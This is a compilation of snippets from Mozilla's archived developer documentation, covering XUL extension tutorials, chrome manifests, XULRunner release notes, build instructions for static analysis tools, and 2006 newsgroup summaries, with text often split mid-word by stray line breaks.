via the xpi: <?xml version="1.0"?> <?xml-stylesheet href="chrome://tinderstatus/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://tinderstatus/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel cla...
...tus"/> </rdf:seq> <rdf:description about="urn:mozilla:package:tinderstatus" chrome:displayname="mozilla tinderstatus extension" chrome:author="myk melez" chrome:name="tinderstatus" chrome:extension="true" chrome:description="displays tinderbox status for the mozilla codebase."> </rdf:description> <rdf:seq about="urn:mozilla:overlays"> <rdf:li resource="chrome://na
vigator/content/na
vigator.xul"/> </rdf:seq> <rdf:seq about="chrome://na
vigator/content/na
vigator.xul"> <rdf:li>chrome://tinderstatus/content/tinderstatusoverlay.xul</rdf:li> </rdf:seq> </rdf:rdf> install.js, on the other hand, goes into the tinderstatus-installer directory: initinstall( "mozilla tinderstatus extension", "/mozdev/tinderstatus", "0.1"); var installdir = getfol...
... « pre
viousnext » ...
Specifying the appearance - Archive of obsolete content
for this we have to first create four icons, one for each tinderbox state (none, success, test failed, and busted), then create a set of css rules that displays the icon corresponding to the current tinderbox state: statusbarpanel#tinderbox-status { list-style-image: url("chrome://na
vigator/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image: url("chrome://na
vigator/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image: url("chrome://na
vigator/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image: url("chrome://na
vigator/content/tb-bu...
...sted.png"); } mozilla can have multiple sets of stylesheets that govern its appearance, and we don't want to have to add these rules to each set (and have our extension break when a new set gets installed), so we'll put this stylesheet in a file called tinderstatus.css in the same directory as na
vigator.xul and reference it at the top of that file right under the global stylesheet reference: <?xml-stylesheet href="chrome://na
vigator/skin/" type="text/css"?> <?xml-stylesheet href="chrome://na
vigator/content/tinderstatus.css" type="text/css"?> our css rules use the list-style-image property to define an image to appear when our status bar panel, identified by its id attribute, has a given value for its status attribute.
... « pre
viousnext » ...
Tinderbox - Archive of obsolete content
it consists of a set of client machines that continuously build and test mozilla and report their results back to a server that makes those results available
via a web page.
...while it isn't difficult to load the tinderbox web page or sidebar, it would be useful to have an even quicker way to check tinderbox that doesn't require going to a web page, changing sidebars, or even ha
ving the sidebar open.
... « pre
viousnext » ...
Creating a Mozilla Extension - Archive of obsolete content
a mozilla extension is an installable enhancement to the mozilla browser that pro
vides additional functionality (for example linky, which adds an item to the context menu for opening multiple links in a document or selection).
... contents prerequisites tinderbox making a mozilla installation modifiable finding the file to modify finding the code to modify adding the structure specifying the appearance enabling the beha
vior - retrie
ving tinderbox status enabling the beha
vior - updating the status bar panel enabling the beha
vior - updating the status periodically making it into a static overlay making it into a dynamic overlay and packaging it up for distribution conclusion next » original document information author(s): myk melez last updated date: september 19, 2006 copyright information: porti...
...ons of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
contents.rdf - Archive of obsolete content
d by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> </rdf:seq> <rdf:description about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="pre
view.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resource="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin:...
...myskin/1.0:na
vigator"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information.
...out="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:global"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:na
vigator"/> </rdf:rdf> ...
Installing Dehydra - Archive of obsolete content
spidermonkey pro
vides scripting capabilities for dehydra.
... building spidermonkey it is recommended that you use spidermonkey re
vision aurora_base_20110705 when building dehydra.
...mkdir gcc-objdir mkdir gcc-dist cd gcc-objdir ../gcc-4.5.3/configure --disable-bootstrap --enable-languages=c,c++ --prefix=$pwd/../gcc-dist make make install building dehydra and treehydra building dehydra requires spidermonkey development headers from the pre
vious step.
Dehydra - Archive of obsolete content
dehydra object reference javascript objects and properties pro
vided by dehydra.
... dehydra faq answers to common questions static analyses analyses being worked on for mozilla 2 todo steps to dehydra 1.0 release community
view dehydra forums...
... mailing list newsgroup rss feed #static on irc.mozilla.org blogs taras glek da
vid mandelin benjamin smedberg related topics pork c/c++ refactoring tools, mozilla 2, spidermonkey categories interwiki language links ...
Layout FAQ - Archive of obsolete content
how do you find out if there are any reflows that are pending and wait to show the
view until afterwards, but if none are pending, show the
view immediately?
...inuation=035ffc48 {0,7,330,285} [content=0359ed50] [sc=035ff990]< text(0)@035ffa8c[0,4,t] next=035ffb1c {0,0,330,285} [state=41600020] sc=035ffa3c pst=:-moz-non-element< "\nabc" > frame(br)(1)@035ffb1c {330,225,0,0} [state=00000020] [content=035aebf0] > > the linebox is used to contain everything on a single line: example how do you fix inconsistent float beha
vior in firefox invol
ving a two column layout using display:table and floating div elements?
...you can work around it by remo
ving display:table in the style rule with the "#main" selector or adding clear:both to it.
Repackaging Firefox - Archive of obsolete content
the following diagram represents an over
view of the process and the pieces involved: you will need the following to get started: a macintosh computer (even for repackaging windows or linux only); it may be either powerpc or intel based.
...we call this extension a "distro extension" (sometimes abbre
viated as "dex"), because it is used to create a new "distribution" of firefox, with different branding, etc.
... mozilla will pro
vide you with the values you will need here.
Hidden prefs - Archive of obsolete content
this page has been flagged by editors or users as needing technical re
view.
... until it is fully re
viewed, it may contain inaccurate or incorrect information.
... address book "get map" button pref ("mail.addr_book.mapit_url.format" ) the format for this pref is: @a1 == address, part 1 @a2 == address, part 2 @ci == city @st == state @zi == zip code @co == country if the pref is set to "", no "get map" button will appear in the addressbook card pre
view pane.
Introducing the Audio API extension - Archive of obsolete content
the audio data api extension extends the html5 specification of the <audio> and <
video> media elements by exposing audio metadata and raw audio data.
... this enables users to
visualize audio data, to process this audio data and to create new audio data.
... we can extend the pre
vious example to
visualize the timestamp and the first two samples in a <div> element: <!doctype html> <html> <head> <title>javascript
visualization example</title> </head> <body> <audio id="audio-element" src="revolve.ogg" controls="true" style="width: 512px;"> </audio> <pre id="raw">hello</pre> <script> function loadedmetadata() { ...
Hacking wiki - Archive of obsolete content
it's done by na
vigating to <tt>/config/index.php</tt> in your web browser.
... pol
vi claims that you'll have it, but in case you don't, you can copy one from the mediawiki tarball.
... once you're done with the configuration script, copy the <tt>config/localsettings.php</tt> file it created to the parent directory and na
vigate to the location you installed mediawiki to.
Remote debugging - Archive of obsolete content
the crash
victim should at least know how to run a debugger, if not how to use it, and should have a debug build of firefox handy.
...(that is, there's a legitimate reason it happens only on some computers, but that reason just hasn't been discovered.) the crash
victim, in turn, trusts the developer with full access to his computer.
...share your computer in person if you happen to live in mountain
view, california, you can probably hand your laptop to a mozilla developer for a bit.
Tamarin Roadmap - Archive of obsolete content
the tamarin roadmap is intended to pro
vide
visibility into planned features and release dates.
... the roadmap is a li
ving document representing current best thinking and is subject to change.
... comments or questions are welcome and encouraged
via the tamarin-devel mailing list.
Tamarin - Archive of obsolete content
documentation adobe actionscript
virtual machine 2 (avm2) over
view (pdf, 400k) the instructions, architecture, and file format supported by the avm2.
... mmgc over
view an over
view of the tamarin garbage collector.
... log a bug against tamarin tamarin-devel mailing list #tamarin channel on irc.mozilla.org blogroll mason chang da
vid mandelin related topics javascript spidermonkey actionmonkey tamarin on mozilla.org ...
Treehydra - Archive of obsolete content
treehydra is a gcc plugin that pro
vides a low level javascript binding to gcc's gimple ast representation.
...a manual usage instructions static analyses analyses being worked on for mozilla 2(many use treehydra) interesting papers esp path-sensitive program verification in polynomial time community
view treehydra forums...
... mailing list newsgroup rss feed #static on irc.mozilla.org blogs taras glek da
vid mandelin related topics pork c/c++ refactoring tools, mozilla 2, spidermonkey categories interwiki language links ...
Using addresses of stack variables with NSPR threads on win16 - Archive of obsolete content
problem statement win-16 (aka, windows 3.1, et al), is unique in that the architecture depends on the operating en
vironment (i.e., windows) knows the address of the stack, and that there is only one such address.
...0 : 1; } this is a completely correct (albeit tri
vial) program that will run predictably on all nspr platforms other than win-16.
... on win-16, the thread's attempt to address the <tt>shareddata</tt> through the pointer shared will pro
vide interesting (though always incorrect) results.
Install Wizards (aka: Stub Installers) - Archive of obsolete content
it contains some files to be installed and the install script, usually named install.js, which contains javascript directives for actions to take during an install including adding files and directories, remo
ving old or obsolete files and directories, executing command line tools, etc.
... cross-platform functionality for making file transfers across a network is pro
vide by the library libxpnet.
... complete details about this library is available at libxpnet: architecture and api over
view.
Return Codes - Archive of obsolete content
access_denied -202 the user (or the os) did not grant the required security pri
vilege.
...to a function illegal_relative_path -209 illegal relative path user_cancelled -210 user clicked cancel on install dialog install_not_started -211 a problem occurred with the parameters to initinstall, or initinstall was not called first silent_mode_denied -212 the silent installation pri
vilege has not been granted.
... invalid_path_err -219 the path pro
vided to getfolder was invalid.
Installer Script - Archive of obsolete content
registerchrome(content | delayed_chrome, getfolder(cf,"browser.xpi"),"content/na
vigator/"); 47.
... registerchrome(skin | delayed_chrome, getfolder(cf,"modern.jar"),"skin/modern/na
vigator/"); 52.
... registerchrome(skin | delayed_chrome, getfolder(cf,"classic.jar"),"skin/classic/na
vigator/"); 58.
Deprecated and defunct markup - Archive of obsolete content
{many elements on this page are wrongly marked as deprecated, this page needs re
view} the following xul tags and attribute should be considered deprecated, if not defunct.
...even some of the information on the tags below may be out of date, but is pro
vided here for historical reference and to help anyone who comes across them in old code or documentation.
...xbl for <tree>) <treefoot> (old/experimental and unsupported xul tags) <treeindentation> (old/experimental and unsupported xul tags) was a part of the old <tree> that predated <outliner> that was not converted to <listbox>--neil 03 march 2011 <treeicon> (old/experimental and unsupported xul tags) <treerows> (internal use only; part of xbl for <tree>) attributes @debug="true" pro
vided struts and springs around boxes to facilitate identification of flex issues but does not seem to work now you need a special debug_layout build --neil 03 march 2011 references xul element reference by neal deakin rapid application development with mozilla, by nigel mcfarlane ...
Dynamically modifying XUL-based user interface - Archive of obsolete content
in xul applications javascript defines the beha
vior, using dom apis to access the xul document.
...remo
ving all children of an element this example removes all children of an element with id=someelement from the current document, by calling removechild() method to remove the first child, until there are no children remaining.
...once you have an anonymous node, you can use regular dom methods to na
vigate and manipulate the rest of the nodes of that binding.
Working With Directories - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | mo
ving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...each call to nsifile.append() na
vigates to a further subdirectory.
...thus, you do not have to create a series of directories indi
vidually, the set will all be created if needed.
Reading from Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | mo
ving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...an input stream pro
vides a means of reading bytes, strings or other values from the file.
... while there is only one method to create an input stream, it pro
vides a number of options to control exactly how reading is performed.
PopupKeys - Archive of obsolete content
this allows items within the menu to be na
vigated with the cursor keys.
...on linux and the macintosh, disabled items within the menu are skipped over when na
vigating with the cursor keys.
...note that the last argument here is true to listen for events during the capturing phase of event propagation: window.addeventlistener("keypress", someaction, true); however, the default listener pro
vides all the suitable responses to keys, so there shouldn't be a need to handle keys yourself.
canRewind - Archive of obsolete content
« xul reference canrewind type: boolean this property is set to true if the user can press the back button to go to the pre
vious page.
... if this property is false, the user cannot na
vigate to the pre
vious page.
...set to false to disallow mo
ving to the pre
vious page.
currentIndex - Archive of obsolete content
(all trees have seltype="multiple" by default.) to reliably change or determine a selection, instead use the nsitreeselection interface methods available
via tree.
view.selection.
... example // one way of retrie
ving the text of a cell.
... <script language ="javascript"> function treerowclicked(){ var tree = document.getelementbyid("my-tree"); var selection = tree.
view.selection; var celltext = tree.
view.getcelltext(tree.currentindex, tree.columns.getcolumnat(0)); alert(celltext); } </script> <tree id="my-tree" seltype="single" onselect="treerowclicked()"> <treecols> <treecol label="title" flex="1"/><treecol label="url" flex="1"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.com"/> <treecell label="let's do lunch"/> </treerow> </treeitem> </treechildren> </tree> see also ...
Actions - Archive of obsolete content
« pre
viousnext » the content to generate in a template is specified using the <xul:action> element which should either be the next sibling of the <xul:query> element (if no rules need be specified) or be a direct child of a <xul:rule> element.
...additional content the pre
vious example generated only a set of buttons, but the action body may contain additional content.
...here is an image of [this example] (note: see the next section for an explanation of why there are extra buttons here.) « pre
viousnext » ...
Building Hierarchical Trees - Archive of obsolete content
« pre
viousnext » a template may be used to generate hierarchical trees.
...the indi
vidual people are displayed at the next level of the tree as the builder recurses.
..." rows="10" flags="dont-build-content"> <treecols> <treecol id="name" primary="true" label="name" flex="1"/> </treecols> <template> <query expr="*"/> <action> <treechildren> <treeitem uri="?"> <treerow> <treecell label="?name"/> </treerow> </treeitem> </treechildren> </action> </template> </tree> « pre
viousnext » ...
Building Menus With Templates - Archive of obsolete content
« pre
viousnext » menus may be generated using a template in the same manner as other elements.
...here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <menupopup> <menuitem uri="?" label="?name"/> </menupopup> </action> </template> </button> <button label="children" oncommand="alert(this.pre
vioussibling.childnodes.length);"/> in this example, the datasources attribute has been placed on a menu-type button.
...i="http://www.xulplanet.com/rdf/garden/18" label="18"/> </menupopup> </menu> <menu uri="http://www.xulplanet.com/rdf/garden" label="garden avenue"> <menupopup> <menuitem uri="http://www.xulplanet.com/rdf/garden/25" label="25"/> <menuitem uri="http://www.xulplanet.com/rdf/garden/37" label="37"/> </menupopup> </menu> </menupopup> </button> « pre
viousnext » ...
Rule Compilation - Archive of obsolete content
« pre
viousnext » query a xul template is made up of a query and a series of rules.
...for rdf and xml, the query contains a set of instructions for na
vigating through the rdf graph or xml document tree.
... « pre
viousnext » ...
Using Multiple Queries to Generate More Results - Archive of obsolete content
« pre
viousnext » combining results together one interesting technique is to use several queries to combine two sets of unrelated data together.
...art"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/people" object="?people"/> <member container="?people" child="?item"/> </query> <rule> <binding subject="?item" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <action> <label uri="?item" value="?title"/> </action> </rule> </queryset> </template> you can
view the example.
... <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <queryset> <query expr="group[@name='male']/*"/> <action> <checkbox uri="?" label="?name"/> </action> </queryset> <queryset> <query expr="group[@name='female']/*"/> <action> <label uri="?" value="?name"/> </action> </queryset> </template> </vbox> « pre
viousnext » ...
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
main window and
view message window).
...this means you'll need to pro
vide two icons for each of your toolbar buttons.
... a list of commonly overlayed windows with toolbars url application and affected window(s) palette id chrome://browser/content/browser.xul firefox - main window browsertoolbarpalette chrome://na
vigator/content/na
vigator.xul seamonkey 2.0 - browser window browsertoolbarpalette chrome://messenger/content/messenger.xul thunderbird - main window mailtoolbarpalette chrome://messenger/content/messenger...gercompose.xul thunderbird - compose window msgcomposetoolbarpalette chrome://messenger/content/addressbo...ddressbook.xul thunderbird - address b...
Toolbars - Archive of obsolete content
the following articles pro
vide details about implementing and working with toolbars.
... community
view mozilla extension development forums...
... tools dom inspector edit the live dom (firefox and thunderbird) mozilla labs add-on builder extension developer's extension a suite of development tools chrome list
view files in chrome:// (firefox, thunderbird) extension wizard a web-based extension skeleton generator (firefox and thunderbird) ...
Adding more elements - Archive of obsolete content
« pre
viousnext » we will conclude the discussion of boxes by adding some boxes to the find files dialog.
...find files example so far source
view next, we will look at how to create stacks.
... « pre
viousnext » ...
Install Scripts - Archive of obsolete content
« pre
viousnext » this section describes the install script.
...all of this information is stored in a key (and within subkeys) that you pro
vide in the installation script (in step 1 mentioned above).
... « pre
viousnext » ...
Localization - Archive of obsolete content
xul and xml pro
vide entities which are a convenient way of allowing localization.
...xml pro
vides entities which can be used for a similar purpose.
... « pre
viousnext » see also how to localize html pages, xul files, and js/jsm files from bootstrapped add-ons: bootstrapped extensions :: localization (l10n) ...
Progress Meters - Archive of obsolete content
« pre
viousnext » in this section, we'll look at creating progress meters.
...source
view in the next section, we will learn how to add additional elements to the window using html.
... « pre
viousnext » ...
Updating Commands - Archive of obsolete content
« pre
viousnext » in this section, we will look at how to update commands.
...in the example, the goupdatecommand method is called which is a function pro
vided by the globaloverlay.js script described earlier.
... « pre
viousnext » ...
XBL Inheritance - Archive of obsolete content
« pre
viousnext » in this section, we'll look at how to extend existing xbl definitions.
...this means that we inherit all of the content and beha
vior pro
vided by the textbox binding.
... « pre
viousnext » ...
Using the standard theme - Archive of obsolete content
you can either pro
vide a complete custom styling, but most of the time you also want to be able to reuse the standard theme (also called the "global skin") of the base application for non-custom elements, transparently with regard to which theme the user has currently chosen.
... adding custom styles in order to pro
vide custom styling for some of your widgets (apart from the standard global skin) you can take two different routes.
...that is, depending on the theme currently selected by the user, you can pro
vide different custom style sheets for your extensions.
XUL Changes for Firefox 1.5 - Archive of obsolete content
along with the new preference elements and some additional attributes for existing elements, they make it easy to set preferences without ha
ving to use code.
... bfcache mozilla now caches the page's dom, so that na
vigating back and forward does not reload the page, making na
vigation much more efficient.
...this has been fixed in firefox 1.5 and all code depending on this non zero-based beha
viour should be changed.
XUL controls - Archive of obsolete content
<button type="menu" label="
view"> <menupopup> <menuitem label="list"/> <menuitem label="details"/> </menupopup> </button> more information about this type of menu button element.
... <scale min="1" max="10"/> scale reference <splitter> allows the user to adjust the di
vision of space between elements.
... textbox reference <textbox type="autocomplete"> a textbox that pro
vides a dropdown showing matches that would complete what the user types.
button - Archive of obsolete content
if you wish to have different beha
vior for how the states are adjusted, set the autocheck attribute to false and adjust the state with a script.
...
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...e(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessiblepro
vider, nsidomxulbuttonelement ...
datepicker - Archive of obsolete content
however, as described in mozilla bug #799219, a change event handler may encounter erratic beha
vior when the date is changed using the keyboard instead of the mouse.
... a monthchange event is fired for the grid and popup datepickers whenever a new month is na
vigated to or displayed.
...
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
image - Archive of obsolete content
the new beha
vior aligns more with the html <img> element and shrinks both the width and height down proportionally.
...this applies whether the image is applied
via the src attribute or the list-style-image style property.
... interfaces nsiaccessiblepro
vider nsidomxulimageelement ...
notification - Archive of obsolete content
be aware, however, that some elements, such as textbox will display the value
visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
... for user editable menulist elements, the contents, as
visible to the user, are read and set using the menulist.value syntax.
...for textbox and user editable menulist elements, the contents, as
visible to the user, are read and set using the textbox.value and menulist.value syntax.
prefpane - Archive of obsolete content
the uri will be opened using the help
viewer when the help button is pressed.
...for example, if you are using a listbox and the user changes the contents of the listbox (such as adding or remo
ving an item) and you want to sync the changes back to a preference, you must write an onsynctopreference handler for your listbox that returns the value to be written to the preference element, and then call the userchangedvalue function every time you edit the list in a way that should cause the preference's value to change.
...otherwise the dialog will show erratic beha
vior and not display correctly.
timepicker - Archive of obsolete content
however, as described in mozilla bug #799219, a change event handler may encounter erratic beha
vior when the time is changed using the keyboard instead of the mouse.
...
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
... hideseconds type: boolean indicates whether the seconds field is
visible or not.
treecol - Archive of obsolete content
editable="true"/> <treecol label="name" flex="1" /> </treecols> <treechildren> <treeitem> <treerow> <treecell value="true"/> <treecell label="alice"/> </treerow> </treeitem> <treeitem> <treerow> <treecell value="false"/> <treecell label="bob"/> </treerow> </treeitem> </treechildren> </tree> to make the checkbox
visible on some platforms, the following styles need to be added to the stylesheet (see treecol.type).
...indi
vidual treecell elements in the column may be marked editable="false" in order to disable editing.
... interfaces nsiaccessiblepro
vider ...
XULRunner 1.9.1 Release Notes - Archive of obsolete content
it pro
vides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
...installing xulrunner mozilla pro
vides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... if you want to help with xulrunner but don't know where to start,
visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner 1.9.2 Release Notes - Archive of obsolete content
it pro
vides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
...installing xulrunner mozilla pro
vides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
...if you want to help with xulrunner but don't know where to start,
visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner 1.9 Release Notes - Archive of obsolete content
it pro
vides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
... installing xulrunner mozilla pro
vides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... if you want to help with xulrunner but don't know where to start,
visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner 2.0 Release Notes - Archive of obsolete content
it pro
vides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
...installing xulrunner mozilla pro
vides xulrunner for windows, mac os x, and linux, in english.
...if you want to help with xulrunner but don't know where to start,
visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
Application Update - Archive of obsolete content
pref("app.update.auto", true); // defines how the application update ser
vice notifies the user about updates: // // aum set to: minor releases: major releases: // 0 download no prompt download no prompt // 1 download no prompt download no prompt if no incompatibilities // 2 download no prompt prompt // // see chart in nsupdateser
vice.js.in for more details // pref("app.update.mode", 1); // if set to true,...
... the update ser
vice will present no ui for any event.
... pref("app.update.silent", false); // update ser
vice url: // you do not need to use all the %var% parameters.
Opening a Link in the Default Browser - Archive of obsolete content
this can be done using the nsiexternalprotocolser
vice interface: // first construct an nsiuri object using the ioser
vice var ioser
vice = components.classes["@mozilla.org/network/io-ser
vice;1"] .getser
vice(components.interfaces.nsiioser
vice); var uritoopen = ioser
vice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/external-protocol-ser
vice;1"] .getser
vice(components.interfaces.nsiexternalprotocolser
vice); // now, open it!
... extps.loaduri(uritoopen, null); by default, the external protocol ser
vice will warn the user about opening the link in another application.
...this is how you do it: var extps = components.classes["@mozilla.org/uriloader/external-protocol-ser
vice;1"] .getser
vice(components.interfaces.nsiexternalprotocolser
vice); if (extps.externalprotocolhandlerexists("http")) { // handler for http:// urls exists } link within an iframe to enable a link inside an html document that is the "src" of an iframe to be opened in the default browser, setting the preference: pref("network.protocol-handler.expose-all", false); seems...
Windows and menus in XULRunner - Archive of obsolete content
« pre
viousnext » our quest to build a basic desktop application using xulrunner continues.
...xul pro
vides elements to support both menus and toolbars.
... see also xul:windows xul tutorial:creating a window commandset command xul tutorial:commands xul tutorial:simple menu bars xul tutorial:toolbars « pre
viousnext » original document information author: mark finkle last updated date: october 2, 2006 ...
Mozprocess - Archive of obsolete content
mozprocess pro
vides python process management
via an operating system and platform transparent interface to mozilla platforms of interest.
... mozprocess aims to pro
vide the ability to robustly terminate a process (by timeout or otherwise), along with any child processes, on windows, os x, and linux.
...basic usage: process = processhandler(['command', '-line', 'arguments'], cwd=none, # working directory for cmd; defaults to none env={}, # en
vironment to use for the process; defaults to os.en
viron ) exit_code = process.waitforfinish(timeout=60) # seconds see an example in https://github.com/mozilla/mozbase/b...profilepath.py processhandler may be subclassed to handle process timeouts (by overriding the ontimeout() method), process completion (by overriding onfinish()), and to process the command output (by over...
2006-11-10 - Archive of obsolete content
access keys in firefox 2 pre
vious versions of firefox used the <alt> key as a modifier.
... accessibility in chatzilla gijs kruitbosch and aaron leventhal have proposed an accessibility project invol
ving chatzilla.
... ideas include: adding standardized shortcuts clc-4-tts and/or other screenreader integration screenreader integration
via an accessibility api discussion on the use of the <tab> key.
2006-10-26 - Archive of obsolete content
discussions should be easier to import bookmark backups user asking for thoughts about ha
ving bookmarks manager's import wizard import from backups in the bookmarkbackups folder.
...ga
vin replies that "[t]he log file shows a "no space left on de
vice" error when trying to link the final executable." learn the traffic magic of search engine cloaking mark describes the magic of search engine cloaker.
... nsialertsser
vice under linux an inqury about why nsialertsser
vice is not a ser
vice found in firefox 2.
2006-10-27 - Archive of obsolete content
discussions should be easier to import bookmark backups user asking for thoughts about ha
ving bookmarks manager's import wizard import from backups in the bookmarkbackups folder.
...ga
vin replies that "[t]he log file shows a "no space left on de
vice" error when trying to link the final executable." learn the traffic magic of search engine cloaking mark describes the magic of search engine cloaker.
... nsialertsser
vice under linux an inqury about why nsialertsser
vice is not a ser
vice found in firefox 2.
2006-11-10 - Archive of obsolete content
fa
vicon as microsummary/feed/other stuff indicator suggestion about making the fa
vicon create a bookmark for the page with a microsummary.
... firefox 2.0 - net accessed when bookmark properties
viewed question about whether firefox 2.0 downlads the web page again when the properties of the bookmark are
viewed.
... impro
ving the ue for content control suggestion about how to improve user experience with options controlling the appearance of web content.
2006-11-17 - Archive of obsolete content
user is looking for ad
vice how to access http or snipurl.
... firefox 2.0 - window.focus() user questions where the change in beha
viour in window.focus() is a bug or was intented.
... firefox 2.0 javascript popup issue user seeks ad
vice about a line of javascript code that worked in firefox 1.5.0.x, but not in firefox 2.0 balloon help user inquires if anyone can explain how to disable the balloon help in firefox 2.0.
2006-11-03 - Archive of obsolete content
suggestion made for e-mail popup it suggested that the e-mail popup duration should depends on number of messages and examples of this idea is pro
vided.
... links in tb is not sent to firefox directly cédric corazza pro
vided a code solution for this problem.
... bug found in nslocalmailfolder.cpp da
vid bienvenu is following up on this bug.
2006-11-03 - Archive of obsolete content
problem compiling with vs 2003 .net phil is trying to compile firefox for the first time and is getting an error when doing so: building deps for /cygdrive/c/mozilla/toolkit/airbag/airbag/src/common/windows/guid_string.cc make[1]: lea
ving directory `/cygdrive/c/mozilla/obj-i686-pc-cygwin' make: *** [build] error 2 he also noted that he is using make 3.80-1.
... on november 1st ga
vin sharp responded phil's question.
...(http://www.google.com/url?sa=d&q=htt...tail%3fid%3d64) ga
vin recommended that phil should add |ac_add_options --disable-airbag| to his .mozconfig.
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.l10n - october 20, 2006 announcements sign-off for zh-tw firefox 2 sign-off for zh-tw firefox 2 sign off of chinese simplified firefox 2.0 sign off of simplified chinese firefox 2 attention dictionary pro
viders, or: warning, amo sucks there was at amo (addons.mozilla.org), which has been being fixed.
... people who want to upload dictionaries should be ad
vised and check #amo at irc.mozilla.org.
... authors paul yanchun gu (gpaul) aditya nanda kuswanto(
vipers101) ...
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.l10n - october 27, 2006 announcements drafts of eulas for several lanugages available for re
view drafts of eulas for several lanugages available for re
view final ff release already announced a french site has already announced final ff 2.0 and gives download links on its own site.
... problem with belarusian firefox 2 rc3 the broken message is displayed after user tries to
visit non-existing site.
... authors paul yanchun gu (gpaul) aditya nanda kuswanto(
vipers101) ...
2006-11-3 - Archive of obsolete content
community is ad
vised to perform tests on both builds to ensure they work flawlessly.
... re
visiting mozillatranslator bugs in bugzilla re
visiting mozillatranslator bugs in bugzilla dictionary packages there are some dictionaries at http://dictionaries.mozdev.org/installation.html which are not at https://addons.mozilla.org/en/dictionaries.
... authors paul yanchun gu (gpaul) aditya nanda kuswanto(
vipers101) ...
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.platform - september 30th to october 6th 2006 announcements mike schroepfer is attending a
vista compatibility lab with some other people this week.
... they are testing firefox and thunderbird on
vista.
... they are tracking issues on http://wiki.mozilla.org/
vistalab , and on #
vista on irc.
2006-10-06 - Archive of obsolete content
there were a few problems found where ff was hanging on shutdown and some weird beha
viors in the download manager.
...
vista testers - needed to test firefox and thunderbird in
vista.
... any test case ideas specific to
vista are welcomed.
2006-10-20 - Archive of obsolete content
discussions october 16, 2006, 5:10pm - da
vid marteau notes that using "persist" on templatized content prevents from restoring values for the persistent attributes.
... neil notes that the format of localstore has changed from pre
vious versions and that "persist" is not functioning properly using the new format.
... this is an unexpected result and da
vid has said he will post a bug.
2006-10-20 - Archive of obsolete content
